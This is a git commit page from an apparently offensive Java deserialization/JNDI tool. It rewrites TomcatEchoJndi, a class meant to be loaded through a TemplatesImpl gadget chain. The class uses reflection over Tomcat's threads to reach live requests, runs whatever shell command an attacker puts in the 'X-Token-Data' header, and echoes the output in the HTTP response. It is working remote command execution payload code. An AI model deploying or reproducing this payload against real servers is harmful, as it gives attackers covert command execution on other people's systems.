mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 15:21:52 +08:00
重写TomcatEchoJndi
This commit is contained in:
qi4L
@@ -5,106 +5,133 @@ import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.List;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class TomcatEchoJndi extends AbstractTranslet {
|
||||
public TomcatEchoJndi(){
|
||||
try{
|
||||
boolean var4 = false;
|
||||
Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
|
||||
|
||||
for(int var6 = 0; var6 < var5.length; ++var6) {
|
||||
Thread var7 = var5[var6];
|
||||
if (var7 != null) {
|
||||
String var3 = var7.getName();
|
||||
if (!var3.contains("exec") && var3.contains("http")) {
|
||||
Object var1 = getFV(var7, "target");
|
||||
if (var1 instanceof Runnable) {
|
||||
try {
|
||||
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
|
||||
} catch (Exception var13) {
|
||||
continue;
|
||||
}
|
||||
public static String CMD_HEADER = "X-Token-Data";
|
||||
|
||||
List var9 = (List)getFV(var1, "processors");
|
||||
public TomcatEchoJndi() {
|
||||
try {
|
||||
boolean flag = false;
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
Field f = group.getClass().getDeclaredField("threads");
|
||||
f.setAccessible(true);
|
||||
Thread[] threads = (Thread[])((Thread[])f.get(group));
|
||||
|
||||
for(int var10 = 0; var10 < var9.size(); ++var10) {
|
||||
Object var11 = var9.get(var10);
|
||||
var1 = getFV(var11, "req");
|
||||
Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
|
||||
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");
|
||||
if (var3 != null && !var3.isEmpty()) {
|
||||
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
|
||||
var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);
|
||||
var4 = true;
|
||||
for(int i = 0; i < threads.length; ++i) {
|
||||
try {
|
||||
Thread t = threads[i];
|
||||
if (t != null) {
|
||||
String str = t.getName();
|
||||
if (!str.contains("exec") && str.contains("http")) {
|
||||
f = t.getClass().getDeclaredField("target");
|
||||
f.setAccessible(true);
|
||||
Object obj = f.get(t);
|
||||
if (obj instanceof Runnable) {
|
||||
f = obj.getClass().getDeclaredField("this$0");
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
|
||||
try {
|
||||
f = obj.getClass().getDeclaredField("handler");
|
||||
} catch (NoSuchFieldException var19) {
|
||||
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
|
||||
}
|
||||
|
||||
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "X-Token-Data");
|
||||
if (var3 != null && !var3.isEmpty()) {
|
||||
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
|
||||
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
|
||||
writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
|
||||
var4 = true;
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
|
||||
try {
|
||||
f = obj.getClass().getSuperclass().getDeclaredField("global");
|
||||
} catch (NoSuchFieldException var18) {
|
||||
f = obj.getClass().getDeclaredField("global");
|
||||
}
|
||||
|
||||
if ((var3 == null || var3.isEmpty()) && var4) {
|
||||
writeBody(var2, System.getProperties().toString().getBytes());
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
f = obj.getClass().getDeclaredField("processors");
|
||||
f.setAccessible(true);
|
||||
List processors = (List)((List)f.get(obj));
|
||||
|
||||
for(int j = 0; j < processors.size(); ++j) {
|
||||
Object processor = processors.get(j);
|
||||
f = processor.getClass().getDeclaredField("req");
|
||||
f.setAccessible(true);
|
||||
Object req = f.get(processor);
|
||||
Object resp = req.getClass().getMethod("getResponse").invoke(req);
|
||||
str = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, CMD_HEADER);
|
||||
if (str != null && !str.isEmpty()) {
|
||||
resp.getClass().getMethod("setStatus", Integer.TYPE).invoke(resp, new Integer(200));
|
||||
ByteArrayOutputStream baos = q(str);
|
||||
|
||||
try {
|
||||
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
|
||||
obj = cls.newInstance();
|
||||
cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
|
||||
resp.getClass().getMethod("doWrite", cls).invoke(resp, obj);
|
||||
} catch (NoSuchMethodException var17) {
|
||||
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
|
||||
obj = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, baos.toByteArray());
|
||||
resp.getClass().getMethod("doWrite", cls).invoke(resp, obj);
|
||||
}
|
||||
|
||||
flag = true;
|
||||
}
|
||||
|
||||
if (flag) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (var4) {
|
||||
if (flag) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (var4) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception var20) {
|
||||
}
|
||||
}
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
} catch (Exception var21) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void writeBody(Object var0, byte[] var1) throws Exception {
|
||||
Object var2;
|
||||
Class var3;
|
||||
public static ByteArrayOutputStream q(String var0) {
|
||||
return execCmd(var0);
|
||||
}
|
||||
|
||||
public static ByteArrayOutputStream execCmd(String var0) {
|
||||
try {
|
||||
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
|
||||
var2 = var3.newInstance();
|
||||
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));
|
||||
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
|
||||
} catch (NoSuchMethodException var5) {
|
||||
var3 = Class.forName("java.nio.ByteBuffer");
|
||||
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
|
||||
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
|
||||
}
|
||||
if (var0 != null && !var0.isEmpty()) {
|
||||
String[] var1 = null;
|
||||
if (System.getProperty("os.name").toLowerCase().contains("win")) {
|
||||
var1 = new String[]{"cmd", "/c", var0};
|
||||
} else {
|
||||
var1 = new String[]{"/bin/bash", "-c", var0};
|
||||
}
|
||||
|
||||
}
|
||||
InputStream var2 = Runtime.getRuntime().exec(var1).getInputStream();
|
||||
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
|
||||
boolean var4 = false;
|
||||
byte[] var5 = new byte[1024];
|
||||
|
||||
private static Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
int var8;
|
||||
while((var8 = var2.read(var5)) != -1) {
|
||||
var3.write(var5, 0, var8);
|
||||
}
|
||||
|
||||
while(var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
return var3;
|
||||
}
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
Reference in New Issue
Block a user